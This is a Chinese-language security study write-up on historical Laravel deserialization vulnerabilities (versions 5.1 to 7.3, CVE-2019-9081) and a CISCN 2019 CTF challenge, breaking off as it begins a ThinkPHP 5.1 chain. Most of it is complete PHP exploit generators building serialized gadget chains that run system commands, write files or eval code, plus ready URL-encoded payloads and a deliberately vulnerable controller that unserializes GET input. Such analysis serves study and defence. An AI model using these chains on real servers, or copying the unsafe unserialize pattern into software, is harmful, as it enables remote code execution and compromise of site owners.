Laravel历史漏洞

【5.1】反序列化

POC1

入口类

vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php - Swift_KeyCache_DiskKeyCache

image-20251028210831455

对 _keys 进行遍历,然后调用 clearAll

image-20251028210945395

如果 nskey 再 this->_keys 中存在,就对 _keys[nskey] 在进行遍历,然后 clearkey

image-20251028211427518

然后走到 haskey

image-20251028211442293

this->path 可控,触发某类 tostring。

这里找到类 vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php - Swift_KeyCache_DiskKeyCache

image-20251028211355776

image-20251028211526471

这里直接令 this -> rfc =

image-20251028211608116

剩下链子跟上面 【5.8&7.3】- POC4 相同了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

namespace Faker {

class DefaultGenerator
{
protected $default;

public function __construct()
{
$this->default = "whoami";
}
}

class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 1;
$this->validator = 'system';
}
}
}

namespace Mockery\Generator {

use Faker\ValidGenerator;

class DefinedTargetClass
{
private $rfc; // 调用$rfc的__call方法

public function __construct()
{
$this->rfc = new ValidGenerator();
}
}
}

namespace {

use Mockery\Generator\DefinedTargetClass;

class Swift_KeyCache_DiskKeyCache
{
private $_keys = ['zzz' => array('zzz' => 'zzz')];
private $_path; // 调用$_path的__toString方法

public function __construct()
{
$this->_path = new DefinedTargetClass();
}
}

echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

POC2

找到其他类的 __tostring。

vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php - Deprecated

image-20251028212050027

这样同理啊,控制了 this -> description 之后就可以调用上面的 call了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

namespace Faker {

class DefaultGenerator
{
protected $default;

public function __construct()
{
$this->default = "whoami";
}
}

class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 1;
$this->validator = 'system';
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\ValidGenerator;

class Deprecated
{
protected $description; // 调用$rfc的__call方法

public function __construct()
{
$this->description = new ValidGenerator();
}
}
}

namespace {


class Swift_KeyCache_DiskKeyCache
{
private $_keys = ['zzz' => array('zzz' => 'zzz')];
private $_path; // 调用$_path的__toString方法

public function __construct()
{
$this->_path = new phpDocumentor\Reflection\DocBlock\Tags\Deprecated();
}
}

echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

POC3

还是刚才的入口类,tostring 又换了一换。

vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ObjectStateToken.php - ObjectStateToken

image-20251028213027191

还是寻找 call,找到一个老生常谈的 call,但是因为这次 stringify 是九个字符,所以稍有不同。

找到类:

vendor/laravel/framework/src/Illuminate/Validation/Validator.php - Validator

image-20251028213327961

这次 rule = ‘y’,好了你会发现版本变成 5.1 后,代码变了。

image-20251028213406993

他要求 callback 是 closure 类的一个实例化,这就有点难利用了,只能走下面分支。依稀记得新版本是 is_callable 所以链子到这儿就完事儿了。

好了往下走,callback 是一个字符串了。

image-20251028213537480

好了这个意思就是:

image-20251028213601298

也就是说 class 和 method 都可控。

那么后面就是看 找一个类 如果控制 this->container->make,这里 make 不好利用,还是想到之前那个随便返回东西的 default,这下全部都可控了,就差一个后门类了。

找到类 :

vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php - EvalLoader

这个类如此简洁,专为后门设计。

image-20251028213928144

只需要 class_exists(classname) 为假,即不存在这个类即可。

image-20251028214042286

随便找到一个有 getName 方法的类。

vendor/laravel/framework/src/Illuminate/Session/Store.php - Store

image-20251028214137090

好了胡乱填一个直接完美。

image-20251028214200406

getcode 也可控,直接传马即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php

namespace Illuminate\Session {
class Store
{
protected $name;

public function __construct()
{
$this->name = 'A_class_Not_Exist';
}
}
}

namespace Mockery\Loader {
class EvalLoader
{
} // 后门类
}

namespace Mockery\Generator {

use Illuminate\Session\Store;

class MockDefinition
{
protected $code;
protected $config;

public function __construct()
{
$this->code = "<?php phpinfo();?>";
$this->config = new Store();
}
}
}

namespace Faker {

use Mockery\Loader\EvalLoader;

class DefaultGenerator
{
protected $default;

public function __construct()
{
$this->default = new EvalLoader();
}
}
}

namespace Illuminate\Validation {


use Faker\DefaultGenerator;

class Validator
{
public $container;
protected $extensions;

public function __construct()
{
$this->extensions['y'] = 'SUIBIANparams@load';//这里 load 是 后门类的函数名
$this->container = new DefaultGenerator();
}
}
}

namespace Prophecy\Argument\Token {

use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;

class ObjectStateToken
{
private $util;
private $value;

public function __construct()
{
$this->util = new Validator();
$this->value = new MockDefinition();
}
}
}

namespace {

use Prophecy\Argument\Token\ObjectStateToken;

class Swift_KeyCache_DiskKeyCache
{
private $_keys = ['zzz' => array('zzz' => 'zzz')];
private $_path;

public function __construct()
{
$this->_path = new ObjectStateToken();
}
}

echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

image-20251028214423829

【5.4】反序列化

POC1

链子和 [5.8] 那 POC1 一样,不过换成用其他类 destruct + 引用绕过,来进行一些 wakeup 后的 二次赋值

在这之前我们进行一些妙妙测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A{
public function __construct($qwq){
$this->qwq = $qwq;
}
public function __destruct(){
echo "这是外面类的 destruct".PHP_EOL;
}
public function __wakeup(){
echo "这是外面类的 wakeup".PHP_EOL;
}
}

class B{
public function __construct($qwq){
$this->qwq = $qwq;
}
public function __destruct(){
echo "这是里面类的 destruct".PHP_EOL;
}
public function __wakeup(){
echo "这是里面类的 wakeup".PHP_EOL;
}
}

$a = new A(new B("qwq"));

//echo serialize($a);
//O:1:"A":1:{s:3:"qwq";O:1:"B":1:{s:3:"qwq";s:3:"qwq";}}

unserialize('O:1:"A":1:{s:3:"qwq";O:1:"B":1:{s:3:"qwq";s:3:"qwq";}}');

显然对于这个来说,调用顺序如下:

1
2
3
4
这是里面类的 wakeup
这是外面类的 wakeup
这是外面类的 destruct
这是里面类的 destruct

我们希望在本链子中的调用顺序是:

1
2
3
4
#Generator.wakeup //删掉
#CollectionConfigurator.destruct //赋值
#PendingBroadcast.destruct //入口类
#Generator.call //call接下文

所以,赋值类需要是外围类,给他随便加一个 qwq 属性凑入 PendingBrocast 类,PendingBrocast类下属的 Generator类 就在下面正常,即可。

下面开始审计:

找到类:

vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php

image-20251029224750250

第一个行什么都没做。

image-20251029224900271

这里 151 行有一个赋值操作,但是可惜不可控。

image-20251029224928019

image-20251029224936076

这个有点过于可控了,非常的完美,注意引用的时候要引用 this->parent 这个类下面的 routes 才是 126 行设置的 routes。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

namespace Faker{
class Generator
{
public $formatters;//等下改为 protected
}
}


namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public $qwq;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\Routing{
class RouteCollection{
public function __construct(){
$this->routes = array("dispatch"=>"system");
}
}
}

namespace Symfony\Component\Routing{
class Route implements \Serializable
{

public function serialize()
{
return serialize([
'path' => $this->path,
'host' => $this->host,
'defaults' => $this->defaults,
'requirements' => $this->requirements,
'options' => $this->options,
'schemes' => $this->schemes,
'methods' => $this->methods,
'condition' => $this->condition,
'compiled' => $this->compiled,
]);
}

public function unserialize($data)
{
// TODO: Implement unserialize() method.
}
}
}

namespace Symfony\Component\Routing\Loader\Configurator{
class CollectionConfigurator{
public $routes = ["dispatch"=>"system"];
// private $route;
// private $parent;
// private $collection;
public function __construct($route,$collection,$parent,$qwq)
{
$this->route = $route;
$this->collection = $collection;
$this->parent = $parent;
$this->qwq = $qwq;
}


}
}

namespace{
$b = new Faker\Generator();
$a1 = new Symfony\Component\Routing\Route();
$a2 = new Symfony\Component\Routing\RouteCollection();
$a3 = new Symfony\Component\Routing\RouteCollection();
$a4 = new Symfony\Component\Routing\RouteCollection();
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
$b->formatters = &$a3->routes;
$qwq = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a1,$a2,$a3,"1");
$qwq->qwq = $a;
echo urlencode(serialize($qwq));
}

注意注意:

注意到 Route 类有 unseriablize 方法:

image-20251029224548772

这个方法会在 destruct 前被触发,因而 $serialized 变量中必须有值,这个值 就来自于:

image-20251029224644396

所以这段不能省略,否则报错。

然后 php 高版本(>=7.1)对公私有属性不敏感,所以基本上没报错就不用 care 了。

【5.7】反序列化(CVE-2019-9081)

在 laravel 框架中没有现成的反序列化接口,当此 cve 复现时需要手动创建可以反序列化的 controller 或者对一些成品进行二次审计,对于此次复现,我们采用前者。

环境搭建:

laravel5.7 反序列化漏洞分析_laravel lumen漏洞-CSDN博客

laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree’s Blog

1
composer create-project --prefer-dist laravel/laravel blog 5.7.*

App\Http\Controllers\qwqqwq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class qwqqwq extends Controller
{
public function kb()
{

// unserialize(urldecode("O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D"));
if(isset($_GET['a'])){
$code = $_GET['a'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "kb";
}
}
?>

\routes\web.php

1
Route::get('/test', "qwqqwq@kb");

注意,访问时候倘若服务器没有配置重写,请访问:

1
http://your-host/index.php/test

下面开始复现:

首先,5.7版本比5.6多了一个 vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php 方法,也就是入口的 destruct。

image-20251027130333326

image-20251027130421830

默认就是 false,走到 run 方法。

image-20251027130454258

先走到 mockConsoleOutput。

image-20251027130525261

跟进 163 行,createABufferedOutputMock。

image-20251027130941166

这里对 test 属性中 expectedOutput 进行遍历,但是没有一个但在我们可以实例化的类中,没有一个类存在 expectedOutput 属性,那么我们可以想到一个 _get 魔术方法,倘若控制 _get 来控制这个值,我们就可以做到遍历而不报错退出,毕竟我们的危险函数不在这里,所以我们只需 走通 即可。

找到 Illuminate\Auth\GenericUser 中的 _get 方法:

image-20251027131248042

这里可以控制值,所以就可以正常走通了。

走通之后回到 mockConsoleOutput 方法:

image-20251027131357281

还是进行遍历,所以说相同的方法,走到 _get

image-20251027131418998

走通之后回来,走到危险函数:

image-20251027131457154

我们单步进去,

image-20251027131704609

这里的 offsetGET 就相当于一个魔术方法,对于 this->app 来说其实他是一个实例化的类,本应箭头调用,但是对于代码编写来说,这样用数组调用看起来更简洁,他被数组调用的时候就进入了 ArrayAccess 接口的offsetGet 这个魔术方法。

继续跟。

image-20251027131909485

image-20251027132000285

POC1

最终就是通过这个 return 返回的 object,然后执行 call 命令。

大佬的语言,复制一下:

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。

image-20251027132415631

问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract]['concrete']

本来其实是不存在的,所以说就实例化了原来那个 Kernel 类,但是我们可以人为的让这个 concrete 数组存在这个类,从而实例化任意类。

$bindingsvendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制 $this->bindings属性。

Illuminate\Foundation\Application恰好继承自Container类,这就是我选择Illuminate\Foundation\Application对象放入$this->app的原因。

由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。

在这里返回的是Illuminate\Foundation\Application类。

image-20251027132749822

这里就返回了这个类。

而为什么返回这个类呢?

是因为这个类的父类:Container 存在 call 方法,而最后执行命令就是 call 方法

image-20251027132936654

而 Application 是 Container 的子类,自然也有这个方法,所以可以调用call函数执行命令。

好了继续往下走:

image-20251027133138281

image-20251027133124722

不满足条件,660 行 make 一下。

image-20251027133202600

image-20251027133233349

又走一遍,流程都是一样的。

image-20251027133843299

但是这次 abstract 变成 application 这个类了,不存在属性所以直接返回 abstract。

image-20251027133942087

这次总算相等了,进 build。

这个 build 函数就是用来反射创建一个类的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function build($concrete)
{
// 创建反射对象来分析类
$reflector = new ReflectionClass($concrete);

// 检查类是否可实例化(不是抽象类或接口)
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}

// 获取构造函数
$constructor = $reflector->getConstructor();

// 如果没有构造函数,直接创建实例
if (is_null($constructor)) {
return new $concrete;
}

// 获取构造函数的参数
$dependencies = $constructor->getParameters();

// 解析依赖关系
$instances = $this->resolveDependencies($dependencies);

// 使用参数创建实例
return $reflector->newInstanceArgs($instances);
}

image-20251027134443729

成功走到 application 这个类的父类的 call 方法。

image-20251027134511513

image-20251027134753426

这个 callback 就是 system了,就看看这个 getMethodDependencies 函数对 parameter 做了什么

image-20251027135044001

image-20251027135108034

什么也没做然后 merge 了。

这样 就是

1
call_user_func_array("system",["whoami"]);

image-20251027135209229

成功 RCE。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
// merged_chain.php

namespace Illuminate\Foundation\Testing {
class PendingCommand {
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters, $class, $app) {
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}

namespace Illuminate\Auth {
class GenericUser {
protected $attributes;

public function __construct(array $attributes) {
$this->attributes = $attributes;
}
}
}

namespace Illuminate\Foundation {
class Application {
protected $bindings;

public function __construct($bind) {
$this->bindings = $bind;
}
}
}

// 主执行代码
namespace {
// 生成反序列化链
$payload = new Illuminate\Foundation\Testing\PendingCommand(
"system", // command - 要执行的系统命令
array('whoami'), // parameters - 命令参数
new Illuminate\Auth\GenericUser(array( // test 对象
"expectedOutput" => array("0" => "1"),
"expectedQuestions" => array("0" => "1")
)),
new Illuminate\Foundation\Application(array( // app 对象
"Illuminate\Contracts\Console\Kernel" => array(
"concrete" => "Illuminate\Foundation\Application"
)
))
);

var_dump($payload);

// 序列化并URL编码
echo urlencode(serialize($payload));
}

POC2

走到这里的时候,我们直接在上面那一步 return 掉。

image-20251027141915078

直接返回 需要 $needsContextualBuild = 0$this->instances[$abstract] 存在 ,并且返回的其实还是那个 Application 对象,剩下的跟上面也就一样了。

image-20251027142233123

看这行代码,首先 parameters 就是空,所以说 ! empty($parameters) = 0

image-20251027142547780

后面那个 image-20251027142622362

本来就啥也没有,所以还是 null。

所以我们只需要把 $this->instances[$abstract] 设置成 Applicaiton 对象就万事大吉了。

image-20251027143641505

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// merged_chain.php

namespace Illuminate\Foundation\Testing {
class PendingCommand {
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters, $class, $app) {
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}

namespace Illuminate\Auth {
class GenericUser {
protected $attributes;

public function __construct(array $attributes) {
$this->attributes = $attributes;
}
}
}

namespace Illuminate\Foundation {
class Application {
protected $instances = [];

public function __construct($a = []) {
$this->instances['Illuminate\Contracts\Console\Kernel'] = $a;
}
}
}

// 主执行代码
namespace {
$a = new Illuminate\Foundation\Application();//这里存在只是为了返回这个类,从而调用其父类的 call 方法来 RCE
$app = new Illuminate\Foundation\Application($a);

$payload = new Illuminate\Foundation\Testing\PendingCommand(
"system", // command - 要执行的系统命令
array('whoami'), // parameters - 命令参数
new Illuminate\Auth\GenericUser(array( // test 对象
"expectedOutput" => array("0" => "1"),
"expectedQuestions" => array("0" => "1")
)),
$app
);

// 序列化并URL编码
echo "Payload:\n";
echo urlencode(serialize($payload));
echo "\n\nRaw serialized data:\n";
echo serialize($payload);
}

【5.8 & 7.3】反序列化

入口类在:

\vendor\laravel\framework\src\Illuminate\Broadcasting - PendingBroadcast

image-20251028185142345

POC1(此路此版本不通)

poc1 是找到一个 可以 RCE 的 call 方法。

this -> events 和 this -> event 都可控。

找到类:

\vendor\fzaninotto\faker\src\Faker - Generator

image-20251028185321179

image-20251028185357915

fommatter 就是 dispatch。

看看下面怎么获取到 system 这个方法。

image-20251028185504911

这里 直接控制 this->formatters 即可达到目的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

namespace Faker{
class Generator
{
protected $formatters;
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace{
$b = new Faker\Generator(['dispatch'=>'system']);
var_dump($b);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
var_dump($a);
echo urlencode(serialize($a));
var_dump(unserialize(serialize($a)));
}

想的很美好吧!!!

image-20251028194626500

其实这里有一个 wakeup,直接挡住了你的去路哈哈哈哈哈哈哈哈哈哈哈。

拯救版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace Faker{
class Generator
{
protected $formatters;
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $event;
protected $events;


public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace{
$b = new Faker\Generator(['dispatch'=>'system']);
// var_dump($b);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
// var_dump($a);
echo serialize($a).PHP_EOL;
echo urlencode(serialize($a));
// var_dump(unserialize(serialize($a)));
}
//O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D
//能执行 无回显

感觉可以快要通了

Laravel 5.4.*反序列化——对冲__wakeup()的RCE链利用-先知社区

image-20251029214234684

不过这个版本把这条路禁了,换 5.4 来搞。

POC2

入口类同上。

找到另外一个 __call 方法:

\vendor\laravel\framework\src\Illuminate\Validation - Validator

image-20251028185929165

1181 行问一下ai:

image-20251028190032361

那就空呗。

后面就是 :

image-20251028190104367

说白了就是:

1
call_user_func_array(this->extensions[''],parameters)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{

public $extensions = [];
public function __construct($extension)
{
$this->extensions = $extension;
}
}
}

namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
echo urlencode(serialize($a));
}

image-20251028190250180

POC3

根据 POC2 改编而来。

如果想调用双参数函数的话,那么前面的 poc 就略显无力了。因为 this->event 只能是单字符串,如果传入一个数组,在 call 方法又会变成一个数组,这样就是 [["PATH","content"]] 了。file_put_contents 无法处理了就。

所以说调用双参数函数需要找新的类来辅助调用,我们已知 call_user_func_array 的第一个参数完全可控,那么我们不妨找到一个类能控制后面的参数。

找到 \vendor\phpoption\phpoption\src\PhpOption - LazyOption

image-20251028194209830

这个方法也太好了,全部可控,虽然这个函数是私有的,但是我们可以调用他下面公有函数同样也调用了这个函数。

image-20251028194259721

随便选一个,比如选择 120 行的 filter。

我们只需要 第一个 call_user_func_array 时,把第一个参数设定为 array(类,方法名) 即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{

public $extensions = [];
public function __construct($extension)
{
$this->extensions = $extension;
}
}
}

namespace PhpOption {
final class LazyOption {
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}

namespace{
$c = new PhpOption\LazyOption('file_put_contents', array('C:\Users\Lenovo\Desktop\blog3\qwq.php', 'ilovechina'), null);
$b = new Illuminate\Validation\Validator(array(''=>array($c,"filter")));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
echo urlencode(serialize($a));
}

image-20251028193217185

POC4

入口类不变。

找一个类:

\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php - ValidGenerator

跳到 call:

image-20251028200928913

这里第一个 res 里面的 name 是个 dispatch 他不可控,这很难受,不过 this.generator 可控,这很好。

我们再看到下面那个 call_user_func 这里是 this->validator 可控,res 是上面返回回来的。

我们不由得想到,如果我们能在上面调一下返回一个我们自定义的 res,是不是下面就都可控了。

很难找 dispatch 了,直接找一个自定义返回字符串的 call 吧。

找到:

\vendor\fzaninotto\faker\src\Faker\defaultgenerator.php - DefaultGenerator

image-20251028201415931

这不直接解决了,让它返回一个 "whoami"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace Faker{

class DefaultGenerator
{
protected $default;
public function __construct(){
$this->default = "whoami";
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = "system";
$this->maxRetries = 999;
}
}

}





namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events,$event){
$this->events = $events;
$this->event = $event;
}
}
}






namespace{
$a = new Faker\ValidGenerator();
$b = new Illuminate\Broadcasting\PendingBroadcast($a,"qwq");

echo urlencode(serialize($b));
}

image-20251028202123565

POC5

php 的一个特性:

1
call_user_func_array("call_user_func",["call_user_func","system","whoami"]);

就相当于调用了 system("whoami"); 了。

入口类换了:

vendor/laravel/framework/src/Illuminate/Routing/PendingResourceRegistration.php - PendingResourceRegistration

image-20251028203614827

image-20251028203636693

三个参数都可控,然后方法也可控,直接找 call 吧。

vendor/laravel/framework/src/Illuminate/Validation/Validator.php - Validator

image-20251028204017435

method = register 就八位所以说 rule = “”,然后直接传一个 this->extensions[‘’]=’call_user_func’,直接进这个函数了。

然后就是那三个可控的:

1
["call_user_func","system","whoami"]

image-20251028204113316

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace Illuminate\Validation {
class Validator
{
public $extensions = [];

public function __construct()
{
$this->extensions[''] = 'call_user_func';
}
}
}

namespace Illuminate\Routing {

class PendingResourceRegistration
{
protected $registrar;
protected $registered = false;
protected $name = 'call_user_func';
protected $controller = 'system';
protected $options = "whoami";

public function __construct($registrar)
{
$this->registrar = $registrar;
}
}
}


namespace{
$a = new Illuminate\Validation\Validator();
$b = new Illuminate\Routing\PendingResourceRegistration($a);
echo urlencode(serialize($b));
}

[CISCN2019 总决赛 Day1 Web4]Laravel1

POC1

image-20251029164917558

vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php

image-20251029165247700

这还挺可控的看起来,找到一个有 saveDeferred 方法的。(这次就不找啥 call 方法了)

找到:

vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php

image-20251029165626093

这里跳到 父类抽象类 vendor/symfony/symfony/src/Symfony/Component/Cache/Traits/PhpArrayTrait.php

image-20251029165729900

这里 this->file 可控。

image-20251029171023588

打通。

image-20251029171041188

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
namespace Symfony\Component\Cache{

final class CacheItem{

}
}
namespace Symfony\Component\Cache\Adapter{

use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = 'C:\Users\Lenovo\Downloads\CISCN_2019_Final_9_Day1_Web4-master\CISCN_2019_Final_9_Day1_Web4-master\source\phpinfo.php';
}
}

class TagAwareAdapter{
private $deferred = [];
private $pool;

public function __construct()
{
$this->deferred = array('QWQ' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}

namespace {

use Symfony\Component\Cache\Adapter\TagAwareAdapter;

$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

这里 deferred 必须有 cacheItem 类的原因如下:

image-20251029203953767

POC2

入口类跟刚才一样。

vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php -

image-20251029205012158

走进 doSave。

image-20251029205048949

223 行有关键的 可控函数名执行逻辑,下面就看 innerItem 这个参数是怎么获取的。

image-20251029205134815

明显 213 行比较有利于获取 InnerItem,只需要指定一下 item 的受保护属性 innerItem,那个 item 就是被强转成数组的 cacheitem 对象。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

namespace Symfony\Component\Cache{
final class CacheItem{
protected $innerItem = 'whoami';
}
}


namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter{
private $setInnerItem = 'system';
}

}


namespace Symfony\Component\Cache\Adapter{
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct($deferred,$pool){
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}


namespace {
$a = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array("1"=>new Symfony\Component\Cache\CacheItem()),new Symfony\Component\Cache\Adapter\ProxyAdapter());
echo urlencode(serialize($a));
}

thinkphp历史漏洞

【TP5.1】反序列化 RCE

首先从 destruct 找起。

image-20251007111227733

进一下 removeFiles,看到这里,发现可以触发 tostring,机会来了。

image-20251007111256104

找到一个 tostring,位于 think\model\concern\Conversion

image-20251007111443207

直接跟进 toJson

image-20251007111505314

